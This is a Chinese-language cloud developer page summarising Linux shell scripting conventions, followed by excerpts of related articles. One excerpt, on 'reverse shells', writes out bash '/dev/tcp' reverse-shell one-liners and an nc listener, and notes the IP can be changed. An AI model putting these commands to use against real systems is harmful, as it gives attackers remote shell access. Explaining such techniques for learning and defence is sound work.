首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

linux shell 规范

Linux Shell 编程规范是编程人员在编写 Shell 脚本时应遵循的一系列标准,旨在提高代码的可读性、可维护性和可移植性。以下是一些基本的规范:

基础概念

  • Shell 编程:使用 Shell 命令作为程序语言,设计、编写、测试、维护脚本型程序的过程。
  • Shell 脚本:Shell 脚本是 Shell 编程的实现产物,可以包含简单操作命令和复杂逻辑区块。

优势

  • 提高代码的可读性和可维护性。
  • 便于自动化任务和简化日常工作。
  • 在类 Unix 系统(如 Linux、macOS 等)中完成各种系统管理和自动化任务。

类型

  • 文件命名:使用 .sh 作为脚本文件的扩展名。
  • 脚本首行(Shebang):指定脚本使用的解释器,如 #!/bin/bash#!/usr/bin/env bash
  • 注释:包括头部注释和行内注释,用于解释脚本的功能和用法。
  • 变量:命名风格应直观易理解,使用 $var${var} 形式引用变量。
  • 函数:使用 function func() {} 形式定义函数,提高代码的模块化和可重用性。

应用场景

  • 执行批处理任务:如批量安装软件、生成系统配置等。
  • 实现自动化过程:如自动处理大量文本内容、自动备份数据等。
  • 管理操作系统:如监控系统资源、定期执行任务等。

遵循这些规范可以帮助开发者创建出结构清晰、易于理解和维护的 Shell 脚本,从而提高开发效率和脚本质量。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

【Linux】Shell 编程规范及检查工具推荐

如果您有其他想要了解的,欢迎私信联系我~ 基本介绍 1、Shell 编程 Shell 编程是指使用 Shell 命令作为程序语言,设计、编写、测试、维护脚本型程序的过程,Shell 命令是 Shell...Shell 脚本主要用于在类 Unix 系统(如 Linux、macOS 等)中完成以下工作: 执行批处理任务:如批量安装软件、生成系统配置等 实现自动化过程:如自动处理大量文本内容、自动备份数据等 管理操作系统...同时为了避免出现异常问题、便于他人阅读和管理,构建 Shell 脚本时也应当遵循一定的编程规范。...本文总结了 20 余条常用编程规范,并推荐一种 Shell 脚本检查工具,帮助大家养成良好的 Shell 编程习惯。...编程规范 建议在 Shell 脚本创建时,以 .sh 作为文件名结尾,方便识别文件类型 建议赋予 Shell 脚本适当的执行权限,允许以 .

25010
  • Google Shell 风格规范

    背景 使用哪种 Shell Bash 是唯一允许可执行程序使用的 shell / 脚本语言。 可执行文件必须以 #!/bin/bash 开头和最少数量的标志。...将所有可执行 shell 脚本限制为 bash 可以为我们提供一个安装在所有计算机上的一致的 shell 语言。 唯一的例外是,无论你在编写什么代码,你都不得不这样做。...这方面的一个例子是 Solaris SVR4包,它要求任何脚本都使用普通的 Bourne shell。 When to use Shell Shell 应该只用于小型实用程序或简单的包装器脚本。...Some guidelines: 如果你主要是调用一些其它的实用程序,和正在做一些相对较少的数据处理,那么shell是该任务可以接受的选择 如果你在乎性能,那么使用其它开发语言而不是shell If you...SUID/SGID 【SUID和SGID 在Shell脚本中禁用。】

    1.3K10

    shell脚本快速入门系列—————— shell脚本编程规范

    1、开发语言概述 开发语言简单举例:shell,Python,Java,JavaScript,HTML,CSS 强语言:定义变量时需要声明数据类型:如Java,C语言等 整型:int ,如1 ,2 ,3...,所有的语言编写犹如记流水账 2、shell脚本应用场景 shell脚本的概念 将要执行的命令按顺序保存到一个文件文本 给该文件可执行权限,便可运行 可结合各种shell控制语句以完成更复杂的操作...shell脚本应用场景 重复性操作 批量事务处理 自动化运维 服务运行状态监控 定时任务执行 3、shell编程规范 shell的作用 命令解释器,“翻译官” 介于系统内核与用户之间,负责解释命令行...用户的登录shell 登录后默认使用的shell程序,一般为/bin/bash 不同shell的内部指令,运行环境等会有所区别 [root@localhost ~]# cat /etc/shells /...脚本 (1)编写脚本代码 使用vim文本编辑器 每行一条Linux命令,按执行顺序依次编写 脚本后缀为.sh 例如,将一下三条命令按顺序用shell脚本编写 cd /boot pwd

    2.3K40

    Linux——shell

    什么是shell? shell是系统的用户界面,提供了用户与内核进行交互操作的一种接口(命令解释器) 。它接收用户输入的命令并把它送入内核去执行。起着用户与系统之间进行交互的作用。 ?...shell的功能: 命令行解释 命令的多种执行顺序 通配符 命令补全、别名机制、命令历史 I/O重定向 管道 命令替换(` ` 或$( ) ) shell编程语言 shell可以执行——内部命令、外部命令...shell命令分为: 内部(内置)命令 内部命令是shell本身包含的一些命令,这些内部命令的代码是整个shell代码的一个组成部分; 内部命令的执行是shell通过执行自己的代码中的相应部分来完成的...外部(外置)命令 外部命令的代码则存放在一些二进制的可执行文件或者shell脚本中; 外部命令执行时,shell会在文件系统中指定的一些目录去搜索相应的文件,然后调入内存执行。...shell变量PATH中 ?

    10.7K30

    linux shell编程

    什么是shell  shell扮演者操作系统内核和用户的中间人的角色,用户通过键入shell command,然后shell通过解析用户输入,然后将请求转发给操作系统的内核进行处理。 1....还是hello world程序  首先使用vim编辑器(或者是linux下任意的文本编辑器)编写文件helloshell.sh(没有必要使用.sh后缀名):  #!.../bin/sh                                osch=0 echo "1. unix(sun os)" echo "2. linux(red hat)" echo ...        #         # nested if         if [ $osch -eq 2 ]         then                 echo "you pick up linux..."         else                 echo "what you donot like unix/linux"         fi fi #!

    12K30

    Linux反弹shell

    2345bash -i:打开一个bash交互界面 >:重定向 /dev/tcp:调用建立一个socket连接 127.0.0.1:可以任意更改需要反弹到的IP地址 2345:反弹到的端口 上面的是一个典型的反弹shell...的语句,但是这种不能实时地在攻击机输入,攻击机输出,只能在靶机输入东西,然后在攻击机看到 image.png 攻击机使用 nc -lvp 2200监听反弹回来地shell,然后等靶机输入东西后,攻击机才能获取到内容...,攻击机不能传输命令 1.2second bash -i >& /dev/tcp/127.0.0.1/2345 0>&1 这种就是交互式shell了 &:标准错误输出重定向输出 0>&1:简单一点理解就是将我们在攻击机输入的命令当成靶机输入...,然后靶机返回内容时又重定向攻击机,也就是交互界面,打开了一个shell窗口,随意可以在攻击机执行命令,然后在攻击机输出结果,这么一个意思 0:标准输入 1:标准输出 2:标准错误输出 &:是为了区分标准输出和文件描述符...2>&1 和上面的效果一样 1.4fourth bash -i >& /dev/tcp/127.0.0.1/2345 0>&1 值得一提的是,">&"相当于"2>&1",标准错误输出 一个标准的反弹shell

    10.4K00

    linux之shell

    当然shell也是linux的解释器,本篇我们先来了解下这个解释器。 shell解释器 shell也叫壳,区别与操作系统内核。比如一个不同国家的人交流需要一个翻译官,那么shell就是这个翻译官。...shell是负责用户,负责接受用户的指令,解释并运行,将需要执行的操作给操作内核。 shell的常见种类 sh 由 Bourne shell 开发,为了纪念大佬,就用了他的名字命名了。...sh也是第一个流行的shell。 csh C shell 语法和C语言比较类似。 ksh 集合了 csh 和 sh 的优点,并且和sh兼容。...bash 与sh完全兼容,sh的的扩展版本,在sh上增加了新特性,补全命令,命令编辑器和历史命令等功能也是linux默认的shell。...linux默认的shell解释器 linux 默认的 shell 解释器是bash,在/bin目录下。

    8.3K50

    Linux 学习_shell

    Linux提供了像MicrosoftWindows那样的可视的命令输入界面--X Window的图形用户界面(GUI)。...每个Linux系统的用户可以拥有他自己的用户界面或Shell,用以满足他们自己专门的Shell需要。   同Linux本身一样,Shell也有多种不同的版本。...Korn Shell:是对Bourne SHell的发展,在大部分内容上与Bourne Shell兼容。   C Shell:是SUN公司Shell的BSD版本。   ...如下图:系统中的三种shell ================================================================ 在Linux系统中,我们要查看我们当前是使用哪种...shell,我们可以这样做:   env | more 如图: 我们也可以修改当前的shell: chsh -s 新的shell 系统中的shell如下图: 新的shell可以是:   /bin/

    7.6K20

    Linux Shell编程

    # Linux Shell编程 # 为什么要学习Shell编程 Linux运维工程师在进行服务器集群管理时,需要编写Shell程序来进行服务器管理。...对于大数据程序员来说,需要编写Shell程序来管理集群 # Shell是什么 Shell是一个命令行解释器,它为用户提供了一个向Linux内核发送请求以便运行程序的界面系统级程序,用户可以用Shell来启动.../bin/bash开头 脚本需要有可执行权限 # 编写第一个Shell脚本 需求说明:创建一个Shell脚本,输出hello world! vim hello.sh #!...的变量 # Shell变量介绍 Linux Shell中的变量分为,系统变量和用户自定义变量。...5A=200(×) 等号两侧不能有空格 变量名称一般习惯为大写,这是一个规范,我们遵守即可 将命令的返回值赋给变量 A='date'反引号,运行里面的命令,并把结果返回给变量A A=$(date)等价于反引号

    36.4K20

    Linux Shell经典案例

    1.查空行 使用Linux命令查询file.txt中空行所在的行号 file1.txt数据准备 itheima itheima itcast 123 itheima ---- awk '/^$/{...print NR}' file1.txt 2.求一列的和 有文件file2.txt内容如下,使用Linux命令计算第二列的和并输出 张三 40 李四 50 王五 60 ---- awk '{sum...检查文件是否存在 根据文件是否存在执行不同逻辑 ---- if [ -e /root/file1.txt ]; then echo "文件存在"; else echo "文件不存在"; fi 4.数字排序 用shell...每个改名后的文件名后缀数字加1 printf "重命名后:%s \n" ${newname} done 8.批量创建用户 根据users.txt中提供的用户列表,一个名一行,批量添加用户到linux...问题: 根据给出的数据输出里面单词长度大于3的单词 数据准备 I may not be able to change the past, but I can learn from it. ---- shell

    2.9K30

    扫码

    添加站长 进交流群

    领取专属 10元无门槛券

    手把手带您无忧上云

    扫码加入开发者社群

    相关资讯

    热门标签

    活动推荐

      运营活动

      活动名称
      广告关闭
      领券